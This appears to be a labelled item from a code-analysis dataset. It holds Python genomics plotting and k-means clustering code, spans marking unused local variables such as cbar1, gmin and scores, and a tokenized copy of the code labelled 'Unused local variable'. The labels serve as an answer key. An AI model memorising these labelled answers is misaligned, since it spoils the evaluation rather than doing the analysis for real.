cbar1 = fig.colorbar(mappable1, cax1, orientation='horizontal')\n cbar2 = fig.colorbar(mappable3, cax2, orientation='horizontal')\n fig.add_axes(cax1)\n fig.add_axes(cax2)\n\n # labeling...\n ax1.set_ylabel('features')\n plt.setp(ax2.get_yticklabels(), visible=False)\n plt.setp(ax3.get_yticklabels(), visible=False)\n ax4.set_xlabel('bp')\n ax4.set_ylabel('mean reads per million mapped reads')\n ax5.set_xlabel('bp')\n cax1.set_xlabel('Reads per million mapped reads')\n cax2.set_xlabel('Enrichment (RPMMR)')\n\n if prefix is None:\n prefix = \"\"\n ax1.set_title('%s IP' % prefix)\n ax2.set_title('%s input' % prefix)\n ax3.set_title('Difference')\n\n # diffed line plot should have y ax on right\n ax5.yaxis.set_ticks_position('right')\n ax5.yaxis.set_label_position('right')\n ax5.set_ylabel('enriched reads per million mapped reads')\n\n # Legends\n ax4.legend(loc='best', frameon=False)\n ax5.legend(loc='best', frameon=False)\n\n # Make sure everybody snaps to xmin/xmax\n for ax in [ax1, ax2, ax3, ax4, ax5]:\n ax.axis(xmin=extent[0], xmax=extent[1])\n\n if not hlines:\n hlines = []\n if not vlines:\n vlines = []\n\n for ax in [ax1, ax2, ax3]:\n for pos, kwargs in hlines:\n ax.axhline(pos, **kwargs)\n for pos, kwargs in vlines:\n ax.axvline(pos, **kwargs)\n\n fig.subplots_adjust(bottom=0.05, top=0.95, hspace=0.75, wspace=0.9)\n\n return fig", "metadata": "root.input_ip_plots", "header": "['module', '___EOS___']", "index": 749 } ]
[ { "span": "global_max ", "start_line": 506, "start_column": 4, "end_line": 506, "end_column": 14 }, { "span": "scores ", "start_line": 712, "start_column": 4, "end_line": 712, "end_column": 10 }, { "span": "gmin ", "start_line": 780, "start_column": 4, "end_line": 780, "end_column": 8 }, { "span": "gmax ", "start_line": 781, "start_column": 4, "end_line": 781, "end_column": 8 }, { "span": "mappable2 ", "start_line": 848, "start_column": 4, "end_line": 848, "end_column": 13 }, { "span": "cbar1 ", "start_line": 864, "start_column": 4, "end_line": 864, "end_column": 9 }, { "span": "cbar2 ", "start_line": 865, "start_column": 4, "end_line": 865, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prepar", "e\\u", "logged", "_", "(_", "x_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Transform", " ", "`", "x", "`", " ", "and", " ", "`", "y", "`", " ", "to", " ", "a", " ", "log", " ", "scale", " ", "whi", "le", " ", "deal", "ing", " ", "with", " ", "zero", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "function", " ", "scale", "s", " ", "`", "x", "`", " ", "and", " ", "`", "y", "`", " ", "suc", "h", " ", "tha", "t", " ", "the", " ", "points", " ", "tha", "t", " ", "are", " ", "zero", " ", "in", " ", "one", "\\", "10", ";", " ", " ", " ", " ", "array", " ", "are", " ", "set", " ", "to", " ", "the", " ", "min", " ", "of", " ", "the", " ", "other", " ", "array", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Whe", "n", " ", "plott", "ing", " ", "express", "ion", " ", "data", ",", " ", "frequent", "ly", " ", "one", " ", "sample", " ", "will", " ", "have", " ", "reads", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "partic", "ular", " ", "feature", " ", "but", " ", "the", " ", "other", " ", "sample", " ", "will", " ", "not", ".", " ", " ", "Expression", " ", "data", " ", "als", "o", "\\", "10", ";", " ", " ", " ", " ", "tend", "s", " ", "to", " ", "look", " ", "bett", "er", " ", "on", " ", "a", " ", "log", " ", "scale", ",", " ", "but", " ", "log", "(", "0", ")", " ", "is", " ", "undefined", " ", "and", " ", "there", "fore", "\\", "10", ";", " ", " ", " ", " ", "cann", "ot", " ", "be", " ", "shown", " ", "on", " ", "a", " ", "plot", ".", " ", " ", "Thi", "s", " ", "function", " ", "allow", "s", " ", "these", " ", "points", " ", "to", " ", "be", " ", "shown", ",", "\\", "10", ";", " ", " ", " ", " ", "pile", "d", " ", "up", " ", "along", " ", "one", " ", "side", " ", "of", " ", "the", " ", "plot", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "x", ",", "y", ":", " ", "Num", "Py", " ", "arrays", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xi_", "=_", "np_", "._", "log2_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yi_", "=_", "np_", "._", "log2_", "(_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xv", "_", "=_", "np_", "._", "isfinite_", "(_", "xi_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yv", "_", "=_", "np_", "._", "isfinite_", "(_", "yi_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "global", "\\u", "min_", "=_", "min_", "(_", "xi_", "[_", "xv", "_", "]_", "._", "min_", "(_", ")_", ",_", "yi_", "[_", "yv", "_", "]_", "._", "min_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global", "\\u", "max_", "=_", "max_", "(_", "xi_", "[_", "xv", "_", "]_", "._", "max_", "(_", ")_", ",_", "yi_", "[_", "yv", "_", "]_", "._", "max_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xi_", "[_", "~_", "xv", "_", "]_", "=_", "global", "\\u", "min_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yi_", "[_", "~_", "yv", "_", "]_", "=_", "global", "\\u", "min_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "xi_", ",_", "yi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "new", "\\u", "clustere", "d\\u", "sort", "ind_", "(_", "x_", ",_", "k_", "=_", "10_", ",_", "row", "\\u", "key_", "=_", "None_", ",_", "cluster", "\\u", "key_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Us", "es", " ", "Mini", "Bat", "ch", " ", "k", "-", "means", " ", "clusteri", "ng", " ", "to", " ", "cluster", " ", "matrix", " ", "int", "o", " ", "group", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Ea", "ch", " ", "cluster", " ", "of", " ", "rows", " ", "is", " ", "then", " ", "sorte", "d", " ", "by", " ", "`", "score", "func", "`", " ", "--", " ", "by", " ", "default", ",", " ", "the", " ", "max", "\\", "10", ";", " ", " ", " ", " ", "peak", " ", "height", " ", "whe", "n", " ", "all", " ", "rows", " ", "in", " ", "a", " ", "cluster", " ", "are", " ", "averaged", ",", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "cluster", ".", "mean", "(", "axis", "=", "0", ").", "max", "()", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "index", " ", "tha", "t", " ", "will", " ", "sort", " ", "the", " ", "rows", " ", "of", " ", "`", "x", "`", " ", "and", " ", "a", " ", "list", " ", "of", " ", "\"", "breaks", "\".\\", "10", ";", " ", " ", " ", " ", "`", "breaks", "`", " ", "is", " ", "essential", "ly", " ", "a", " ", "cumul", "ative", " ", "row", " ", "count", " ", "for", " ", "each", " ", "cluster", " ", "bound", "ary", ".", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "other", " ", "words", ",", " ", "after", " ", "plott", "ing", " ", "the", " ", "array", " ", "you", " ", "can", " ", "use", " ", "axh", "line", " ", "on", " ", "each", "\\", "10", ";", " ", " ", " ", " ", "\"", "break", "\"", " ", "to", " ", "plot", " ", "the", " ", "cluster", " ", "bound", "ary", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "`", "k", "`", " ", "is", " ", "a", " ", "list", " ", "or", " ", "tuple", ",", " ", "iterative", "ly", " ", "try", " ", "each", " ", "one", " ", "and", " ", "select", " ", "the", " ", "best", "\\", "10", ";", " ", " ", " ", " ", "with", " ", "the", " ", "lowe", "st", " ", "mean", " ", "distance", " ", "from", " ", "cluster", " ", "center", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "x", ":", " ", "Matrix", " ", "who", "se", " ", "rows", " ", "are", " ", "to", " ", "be", " ", "clustere", "d", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "k", ":", " ", "Number", " ", "of", " ", "cluster", "s", " ", "to", " ", "create", " ", "or", " ", "a", " ", "list", " ", "of", " ", "potenti", "al", " ", "cluster", "s", ";", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "optim", "um", " ", "will", " ", "be", " ", "chosen", " ", "from", " ", "the", " ", "list", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "row", "\\u", "key", ":", "\\", "10", ";", " ", " ", " ", " ", "Optio", "nal", " ", "function", " ", "to", " ", "act", " ", "as", " ", "a", " ", "sort", " ", "key", " ", "for", " ", "sorting", " ", "rows", " ", "within", "\\", "10", ";", " ", " ", " ", " ", "cluster", "s", ".", " ", " ", "Sign", "ature", " ", "shou", "ld", " ", "be", " ", "`", "score", "func", "(", "a", ")`", " ", "where", " ", "`", "a", "`", " ", "is", " ", "a", " ", "1", "-", "D", " ", "Num", "Py", "\\", "10", ";", " ", " ", " ", " ", "array", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "cluster", "\\u", "key", ":", "\\", "10", ";", " ", " ", " ", " ", "Optio", "nal", " ", "function", " ", "for", " ", "sorting", " ", "cluster", "s", ".", " ", " ", "Sign", "ature", " ", "is", " ", "`", "cluster", "func", "(", "a", ")`", "\\", "10", ";", " ", " ", " ", " ", "where", " ", "`", "a", "`", " ", "is", " ", "a", " ", "Num", "Py", " ", "array", " ", "contain", "ing", " ", "all", " ", "rows", " ", "of", " ", "`", "x", "`", " ", "for", " ", "cluster", " ", "`", "i", "`.", "\\", "10", ";", " ", " ", " ", " ", "It", " ", "must", " ", "return", " ", "a", " ", "single", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "sklearn_", "._", "cluster_", "import_", "Mini", "Bat", "ch", "KM", "ean", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Import", "Error_", "(_", "'", "plea", "se", " ", "install", " ", "scikit", "s", ".", "learn", " ", "for", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "clusteri", "ng", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "integ", "er", ",", " ", "do", " ", "it", " ", "onc", "e", " ", "and", " ", "we", "'", "re", " ", "done_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "k_", ",_", "int_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "best", "\\u", "k_", "=_", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mean", "\\u", "dists_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "\\u", "k_", "in_", "k_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mb", "k_", "=_", "Mini", "Bat", "ch", "KM", "ean", "s_", "(_", "init_", "=_", "'", "k", "-", "means", "++'_", ",_", "n", "\\u", "clusters_", "=_", "\\u", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mb", "k_", "._", "fit_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mean", "\\u", "dists_", "[_", "\\u", "k_", "]_", "=_", "mb", "k_", "._", "transform_", "(_", "x_", ")_", "._", "mean_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "best", "\\u", "k_", "=_", "sorted_", "(_", "mean", "\\u", "dists_", "._", "items_", "(_", ")_", ",_", "key_", "=_", "lambda_", "x_", ":_", "x_", "[_", "1_", "]_", ")_", "[_", "-_", "1_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mb", "k_", "=_", "Mini", "Bat", "ch", "KM", "ean", "s_", "(_", "init_", "=_", "'", "k", "-", "means", "++'_", ",_", "n", "\\u", "clusters_", "=_", "best", "\\u", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mb", "k_", "._", "fit_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "k_", "=_", "best", "\\u", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels_", "=_", "mb", "k_", "._", "labels", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scores_", "=_", "np_", "._", "zeros_", "(_", "labels_", "._", "shape_", ",_", "dtype_", "=_", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "cluster", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "It", "'", "s", " ", "easi", "er", " ", "for", " ", "calling", " ", "code", " ", "to", " ", "provide", " ", "somet", "hing", " ", "tha", "t", " ", "operate", "s", " ", "on_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "cluster", " ", "level", ",", " ", "but", " ", "here", " ", "it", "'", "s", " ", "convert", "ed", " ", "to", " ", "work", " ", "on", " ", "a", " ", "label", " ", "level_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "look", "s", " ", "in", " ", "to", " ", "the", " ", "array", " ", "`", "x", "`.", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "cluster", "\\u", "key_", "(_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cluster", "\\u", "key_", "(_", "x_", "[_", "labels_", "==_", "i_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sorte", "d\\u", "labels_", "=_", "sorted_", "(_", "range_", "(_", "k_", ")_", ",_", "key_", "=_", "\\u", "cluster", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ot", "her", "wis", "e", " ", "just", " ", "use", " ", "them", " ", "as", "-", "is", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sorte", "d\\u", "labels_", "=_", "range_", "(_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "row", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Again", ",", " ", "easi", "er", " ", "to", " ", "provide", " ", "a", " ", "function", " ", "to", " ", "operate", " ", "on", " ", "a", " ", "row", ".", " ", " ", "Bu", "t", " ", "here", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", " ", "it", " ", "to", " ", "accept", " ", "an", " ", "index_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "row", "\\u", "key_", "(_", "i_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "row", "\\u", "key_", "(_", "x_", "[_", "i_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "final", "\\u", "ind_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "breaks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "label_", "in_", "sorte", "d\\u", "labels_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "whi", "ch", " ", "rows", " ", "in", " ", "`", "x", "`", " ", "have", " ", "this", " ", "label_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label", "\\u", "inds_", "=_", "np_", "._", "nonzero_", "(_", "labels_", "==_", "label_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "row", "\\u", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label", "\\u", "sort", "\\u", "ind_", "=_", "sorted_", "(_", "label", "\\u", "inds_", ",_", "key_", "=_", "\\u", "row", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label", "\\u", "sort", "\\u", "ind_", "=_", "label", "\\u", "inds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "li_", "in_", "label", "\\u", "sort", "\\u", "ind_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "final", "\\u", "ind_", "._", "append_", "(_", "li_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pos_", "+=_", "len_", "(_", "label", "\\u", "inds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "breaks_", "._", "append_", "(_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "np_", "._", "array_", "(_", "final", "\\u", "ind_", ")_", ",_", "np_", "._", "array_", "(_", "breaks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "ip", "\\u", "plots_", "(_", "ipa", "rr_", ",_", "input", "arr_", ",_", "diff", "ed_", ",_", "x_", ",_", "sort", "\\u", "ind_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "prefix_", "=_", "None_", ",_", "limit", "s1_", "=_", "(_", "None_", ",_", "None_", ")_", ",_", "limit", "s2_", "=_", "(_", "None_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hline", "s_", "=_", "None_", ",_", "vlin", "es_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "All", "-", "in", "-", "one", " ", "plott", "ing", " ", "function", " ", "to", " ", "make", " ", "a", " ", "5", "-", "panel", " ", "figure", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Pane", "ls", " ", "are", " ", "IP", ",", " ", "input", ",", " ", "and", " ", "diff", "ed", ";", " ", "plus", " ", "2", " ", "line", " ", "plots", " ", "showin", "g", " ", "averages", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "ipa", "rr", ",", " ", "input", "arr", ":", " ", "Num", "Py", " ", "arrays", " ", "construct", "ed", " ", "by", " ", "a", " ", "genomic", "\\u", "signal", " ", "object", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "diff", "ed", ":", " ", "Difference", " ", "of", " ", "`", "ipa", "rr", "`", " ", "and", " ", "`", "input", "arr", "`", ",", " ", "but", " ", "can", " ", "be", " ", "some", " ", "other", "\\", "10", ";", " ", "transformation", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "x", ":", " ", "Extent", " ", "to", " ", "use", " ", "--", " ", "for", " ", "TS", "Ss", ",", " ", "may", "be", " ", "somet", "hing", " ", "like", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "lins", "pace", "(-", "1000", ",", " ", "1000", ",", " ", "bins", "),", " ", "or", " ", "for", " ", "just", " ", "bin", " ", "ID", "s", ",", " ", "somet", "hing", " ", "like", "\\", "10", ";", " ", " ", " ", " ", "`", "np", ".", "aran", "ge", "(", "bins", ")`", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "sort", "\\u", "ind", ":", " ", "row", " ", "order", " ", "for", " ", "each", " ", "of", " ", "the", " ", "3", " ", "panel", "s", " ", "--", " ", "usual", "ly", " ", "interesting", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "use", " ", "`", "clustere", "d\\u", "sort", "ind", "`", " ", "or", " ", "`", "tip", "\\u", "zsc", "ore", "s", "`", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "prefix", ":", " ", "Us", "ed", " ", "to", " ", "prefix", " ", "plot", " ", "titles", " ", "with", " ", "'%", "(", "prefix", ")", "s", " ", "IP", "\",", " ", "etc", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "limit", "s1", ":", " ", "Tup", "le", " ", "pass", "ed", " ", "to", " ", "the", " ", "Normalize", " ", "function", " ", "for", " ", "IP", " ", "and", " ", "input", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "limit", "s2", ":", " ", "Tup", "le", " ", "pass", "ed", " ", "tot", " ", "he", " ", "Normalize", " ", "function", " ", "for", " ", "the", " ", "diff", "ed", " ", "array", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "hline", "s", ":", " ", "List", " ", "of", " ", "(", "position", ",", " ", "kwarg", ")", " ", "tuple", "s", " ", "for", " ", "plott", "ing", " ", "horizon", "tal", "\\", "10", ";", " ", " ", " ", " ", "lines", ".", " ", " ", "Kwargs", " ", "are", " ", "pass", "ed", " ", "direct", "ly", " ", "to", " ", "axh", "line", ".", " ", "Us", "efu", "l", " ", "for", " ", "delim", "iti", "ng", "\\", "10", ";", " ", " ", " ", " ", "cluster", "s", ",", " ", "if", " ", "you", " ", "used", " ", "`", "clustere", "d\\u", "sort", "ind", "`", " ", "and", " ", "have", " ", "bot", "h", " ", "`", "row", "\\u", "order", "`", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "`", "breaks", "`.", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "vlin", "es", ":", " ", "List", " ", "of", " ", "(", "position", ",", " ", "kwarg", "s", ")", " ", "tuple", "s", ".", " ", " ", "A", " ", "vertical", " ", "line", " ", "will", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "plott", "ed", " ", "at", " ", "each", " ", "position", " ", "usi", "ng", " ", "kwarg", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "global", " ", "min", " ", "and", " ", "max_", "\\u\\u\\uNL\\u\\u\\u_", "gm", "in_", "=_", "min_", "(_", "ipa", "rr_", "._", "min_", "(_", ")_", ",_", "input", "arr_", "._", "min_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gma", "x_", "=_", "max_", "(_", "ipa", "rr_", "._", "max_", "(_", ")_", ",_", "input", "arr_", "._", "max_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", "=_", "plt_", "._", "figure_", "(_", "figsize_", "=_", "(_", "10_", ",_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "3", " ", "arrays", ",", " ", "2", " ", "line", " ", "plots", ",", " ", "a", " ", "gene", " ", "strip", ",", " ", "and", " ", "2", " ", "colorbar", "s", ".", " ", " ", "Plot", "s", " ", "share", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "axes", " ", "tha", "t", " ", "make", " ", "sense_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "3", " ", "arrays_", "\\u\\u\\uNL\\u\\u\\u_", "ax1_", "=_", "plt_", "._", "subplot", "2g", "rid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "9_", ",_", "9_", ")_", ",_", "(_", "0_", ",_", "0_", ")_", ",_", "colsp", "an_", "=_", "3_", ",_", "rowspan", "_", "=_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax2_", "=_", "plt_", "._", "subplot", "2g", "rid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "9_", ",_", "9_", ")_", ",_", "(_", "0_", ",_", "3_", ")_", ",_", "colsp", "an_", "=_", "3_", ",_", "rowspan", "_", "=_", "6_", ",_", "sharex", "_", "=_", "ax1_", ",_", "share", "y_", "=_", "ax1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax3_", "=_", "plt_", "._", "subplot", "2g", "rid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "9_", ",_", "9_", ")_", ",_", "(_", "0_", ",_", "6_", ")_", ",_", "colsp", "an_", "=_", "3_", ",_", "rowspan", "_", "=_", "6_", ",_", "sharex", "_", "=_", "ax1_", ",_", "share", "y_", "=_", "ax1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "2", " ", "line", " ", "plots_", "\\u\\u\\uNL\\u\\u\\u_", "ax4", "_", "=_", "plt_", "._", "subplot", "2g", "rid_", "(_", "(_", "9_", ",_", "9_", ")_", ",_", "(_", "6_", ",_", "3_", ")_", ",_", "colsp", "an_", "=_", "3_", ",_", "rowspan", "_", "=_", "3_", ",_", "sharex", "_", "=_", "ax1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax", "5_", "=_", "plt_", "._", "subplot", "2g", "rid_", "(_", "(_", "9_", ",_", "9_", ")_", ",_", "(_", "6_", ",_", "6_", ")_", ",_", "colsp", "an_", "=_", "3_", ",_", "rowspan", "_", "=_", "3_", ",_", "sharex", "_", "=_", "ax1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "2", " ", "colorbar", "s_", "\\u\\u\\uNL\\u\\u\\u_", "cax", "1_", "=_", "plt_", "._", "Axes_", "(_", "fig_", ",_", "rect_", "=_", "(_", "0.05_", ",_", "0.25_", ",_", "0.25_", ",_", "0.025", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cax", "2_", "=_", "plt_", "._", "Axes_", "(_", "fig_", ",_", "rect_", "=_", "(_", "0.05_", ",_", "0.15_", ",_", "0.25_", ",_", "0.025", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "nice", " ", "ims", "how", " ", "axes_", "\\u\\u\\uNL\\u\\u\\u_", "extent_", "=_", "(_", "min_", "(_", "x_", ")_", ",_", "max_", "(_", "x_", ")_", ",_", "0_", ",_", "diff", "ed_", "._", "shape_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cm_", "=_", "matplotlib_", "._", "cm_", "._", "gist", "\\u", "gray_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cm_", "._", "set\\u", "bad_", "(_", "'", "k", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cm_", "._", "set\\u", "over_", "(_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cm_", "._", "set\\u", 